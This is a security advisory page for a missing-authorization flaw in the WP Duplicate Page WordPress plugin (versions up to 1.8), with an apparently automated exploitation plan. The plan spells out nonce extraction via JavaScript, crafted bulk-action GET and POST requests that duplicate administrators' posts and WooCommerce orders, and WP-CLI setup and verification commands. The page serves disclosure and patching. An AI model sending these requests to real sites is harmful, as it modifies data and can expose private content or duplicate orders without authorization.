WP Duplicate Page <= 1.8 - Missing Authorization to Authenticated (Contributor+) Arbitrary Post Duplication
Description
The WP Duplicate Page plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on the 'duplicateBulkHandle' and 'duplicateBulkHandleHPOS' functions in all versions up to, and including, 1.8. This makes it possible for authenticated attackers, with Contributor-level access and above, to duplicate arbitrary posts, pages, and WooCommerce HPOS orders even when their role is explicitly excluded from the plugin's "Allowed User Roles" setting, potentially exposing sensitive information and allowing duplicate fulfillment of WooCommerce orders.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=1.8What Changed in the Fix
Changes introduced in v1.8.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14001 ## 1. Vulnerability Summary The **WP Duplicate Page** plugin (up to v1.8) contains a missing authorization vulnerability in its bulk duplication handlers. While the plugin provides a "Allowed User Roles" setting to restrict who can duplicate content, th…
Show full research plan
Exploitation Research Plan - CVE-2025-14001
1. Vulnerability Summary
The WP Duplicate Page plugin (up to v1.8) contains a missing authorization vulnerability in its bulk duplication handlers. While the plugin provides a "Allowed User Roles" setting to restrict who can duplicate content, the functions duplicateBulkHandle and duplicateBulkHandleHPOS in includes/Classes/ButtonDuplicate.php fail to invoke the Utils::isCurrentUserAllowedToCopy() check or any WordPress capability check (e.g., current_user_can).
This allows any authenticated user with access to the WordPress admin (Contributor level and above) to duplicate arbitrary posts, pages, or WooCommerce orders by manually triggering the bulk action, even if their role is explicitly excluded in the plugin settings.
2. Attack Vector Analysis
- Endpoint:
wp-admin/edit.php(for posts/pages) orwp-admin/admin.php?page=wc-orders(for WooCommerce HPOS). - Action:
wp_duplicate_page_bulk_action - Method: GET or POST.
- Authentication: Contributor level or higher (any role that can access
edit.php). - Vulnerable Parameters:
post[]: An array of Post IDs to duplicate.action: Must be set towp_duplicate_page_bulk_action._wpnonce: A standard WordPress bulk action nonce.
- Precondition: The targeted post type must be enabled in the plugin's settings (
njt_duplicate_post_typesoption). By default, the plugin enables this forpostandpage.
3. Code Flow
- Registration:
ButtonDuplicate::addDuplicateButtonLink()(Line 36) registers the bulk action handler for all post types stored in thenjt_duplicate_post_typesoption. - Hook: It uses the filter
handle_bulk_actions-edit-{$post_type}(Line 52), which WordPress core calls when a bulk action is submitted. - Trigger: When a user submits a request to
edit.phpwithaction=wp_duplicate_page_bulk_action, WordPress core validates the genericbulk-postsnonce and then fires the filter. - Sink:
ButtonDuplicate::duplicateBulkHandle(Line 63) receives the request. - Missing Check:
- Line 64: It checks if the action is correct.
- Line 67: It loops through
$postIds. - Line 72: It calls
CreateDuplicate::getInstance()->createDuplicate($post). - Vulnerability: Between lines 63 and 72, there is no check for
Utils::isCurrentUserAllowedToCopy()orcurrent_user_can('edit_post', $postId).
4. Nonce Acquisition Strategy
The vulnerability resides in a hook (handle_bulk_actions) that is managed by WordPress core. To trigger this hook, the attacker must provide a valid bulk action nonce for the specific screen (e.g., the edit-post screen).
- Role: Contributor.
- Action: Navigate to the Post list table.
- Extraction:
- Use
browser_navigatetohttp://vulnerable-hostname/wp-admin/edit.php. - Use
browser_evalto extract the_wpnoncefrom the bulk action form. - JS Command:
document.querySelector('#bulk-action-selector-top').closest('form').querySelector('input[name="_wpnonce"]').value
- Use
- Note: This is a standard WordPress CSRF protection, but because the attacker is an authenticated user (Contributor), they can legitimately obtain this nonce for their own session.
5. Exploitation Strategy
Step 1: Confirm Targeted Post Type
Ensure the target post type (e.g., post) is enabled for duplication.
wp option get njt_duplicate_post_types
Step 2: Extract Nonce
Navigate to the admin post list as a Contributor and grab the nonce.
Step 3: Trigger Duplication
Send a request to duplicate a post owned by an Administrator (e.g., Post ID 1).
Request Details:
- URL:
http://vulnerable-hostname/wp-admin/edit.php?s&post_status=all&post_type=post&action=wp_duplicate_page_bulk_action&post[]=1&_wpnonce=[EXTRACTED_NONCE]&action2=-1 - Method: GET
- Headers: Valid Contributor Cookies.
Step 4: HPOS Variant (If WooCommerce is present)
If targeting WooCommerce orders:
- URL:
http://vulnerable-hostname/wp-admin/admin.php?page=wc-orders&action=wp_duplicate_page_bulk_action&ids[]=ORDER_ID&_wpnonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Admin Content: Create a "Private" or "Published" post as an administrator.
wp post create --post_type=post --post_title="Admin Secret Draft" --post_status=draft --post_author=1
- Attacker User: Create a user with the
contributorrole. - Plugin Config: Ensure
postis in the allowed types (usually default).wp option update njt_duplicate_post_types '["post", "page"]'
- Role Restriction: (Optional) Configure the plugin to ONLY allow Administrators to copy, to prove the bypass.
wp option update njt_duplicate_roles '["administrator"]'
7. Expected Results
- The server will respond with a redirect back to
edit.phpwith the query parameterbulk_cloned=1. - A new post will be created in the database that is an exact clone of the Administrator's post.
- The Contributor user will be able to see this new cloned post in their "Posts" list if the plugin sets the clone's author to the current user (common behavior) or if they simply view the IDs.
8. Verification Steps
Check the database for a new post with a similar title (usually "Copy of ...") and verify the creation:
wp post list --post_type=post --orderby=ID --order=DESC --limit=2
Verify the post_author of the duplicate. If it is the Contributor, they have successfully "stolen" or duplicated content they shouldn't have access to manipulate via the plugin.
9. Alternative Approaches
If the bulk action requires a POST request in certain WordPress environments:
POST Request:
- URL:
http://vulnerable-hostname/wp-admin/edit.php - Body (URL-encoded):
action=wp_duplicate_page_bulk_action&post[]=1&_wpnonce=[NONCE]&post_type=post - Content-Type:
application/x-www-form-urlencoded
If targeting duplicateBulkHandleHPOS, use ids[] instead of post[] as seen in Line 92.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.